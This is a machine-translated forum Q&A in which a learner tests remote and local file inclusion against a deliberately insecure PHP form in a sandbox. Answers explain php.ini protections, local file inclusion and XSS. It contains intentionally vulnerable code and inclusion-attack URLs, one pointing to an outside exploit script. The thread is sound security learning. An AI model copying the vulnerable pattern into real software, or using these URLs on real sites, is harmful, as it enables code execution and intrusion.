捍卫漏洞利用

问题描述:

我已经设置了一个沙盒并尝试运行漏洞,这样我可以更好地理解如何更好地防御它们。当我运行以下程序时,程序失败,因为它应该和正确的原因。但是我不确定,因为我找不到很多“如何写出正确的漏洞”。这里是我的代码,以下是失败的消息。任何指导都会很棒。捍卫漏洞利用

//unform.php (unprotected form) 
<html> 
<head> 
<title>Try An Exploit</title> 
<?php 
if (!empty($_GET)){ 
    foreach($_GET as $key=>$value){ 
    ${$key} = $value; 
    } 
} 

//no sanitizer here. 
echo $key; 
include($value); 
?> 
</head> 
<body> 
<h1>This Is Bad</h1> 

<form action="#" method="get"> 
<select name="COLOR"> 
     <option value="red">red</option> 
     <option value="blue">blue</option> 
    </select> 
<input type="submit" value="Kick Me" /> 
</form> 
</body> 

开拓脚本,简单的东西:

exploit.php 
<?php 
    $somevar = "This is just a string"; 
    echo $somevar; 
?> 

坏人会硬编码在浏览器地址栏中输入以下内容:

http://www.sandbox.com/path/to/unform.php?COLOR=http://www.remoteserv.com/exploit.php 

尝试加载地址时,输出到浏览器:

Warning: include() [function.include]: http:// wrapper is disabled in the server configuration by allow_url_include=0 

它是这样吗?还是有其他技术我应该寻找?
谢谢

+2

你想做什么?如果你想写一个带有安全漏洞的脚本,那么即使你不积极尝试这样做,也很容易做到。如果你的问题是“PHP中是否存在其他漏洞利用”,那么问题就太广泛了。 – NullUserException

+1

只有一种技术。验证* ALL *输入,不要相信任何变量,因为你永远不知道攻击来自哪里。 – Tchoupi

+0

好吧,但我需要寻找的是什么?我阻止了50%的漏洞吗?其他人(如果有的话)是什么? – rwhite35

它看起来像是所讨论的漏洞是执行任意脚本。由于一些php.ini设置的原因,该脚本不易受远程脚本的任意执行的影响 - 但它容易受到任意执行本地脚本的影响。

远程脚本

默认情况下,allow_url_include php.ini指令设置为0的任意处决 - 阻止你,包括远程文件,就像这样:

include("http://www.remoteserv.com/exploit.php"); 

...或同等像这样:

$myVar = "http://www.remoteserv.com/exploit.php"; 
include($myVar); 

Runtime Configurations - Filesystem and Streams Configuration OptionsUsing remote scripts上php.net获取更多信息。

从技术上讲,您仍然容易受到攻击,因为用户可以提供导致错误的输入 - 实际上您应该清理该输入 - 但是您不容易受到远程脚本的任意执行的影响。本地脚本

但php.ini指令,没有保护你的本地脚本执行的

任意处决。攻击者可以使用一个URL,如...

http://www.sandbox.com/path/to/unform.php?wtv=/tmp/SomeFile.php 

...该文件将被包括在内。它可能是一个非PHP文件(导致错误),或者它可能是攻击者在您的服务器上放置的文件 - 可以通过文件上传或通过Shared Hosting Environment

如需进一步阅读,chapter 5 of the book Essential PHP Security完全专注于include的安全性。

其他

您是容易XSS

echo $key; 

当输出$key - 这是输入 - 你应该编码以某种方式输出,可能使用htmlentities(...)

您还操纵利用使用输入变量:

${$key} = $value; 

...这是一个坏主意。

+0

感谢您的回答,XSS看起来像下一站。 – rwhite35

+2

你的答案只适用于远程文件包含;仍然存在Local-File-Inclusion的脆弱性。本地文件可以被读入并用include()输出;要执行任意代码,攻击者可以访问http://site.com/ newfurniturey

+0

@newfurniturey - 这是一个很好的观点。我应该编辑我的答案来达到这个效果吗?还是你想把它作为一个单独的答案发布? –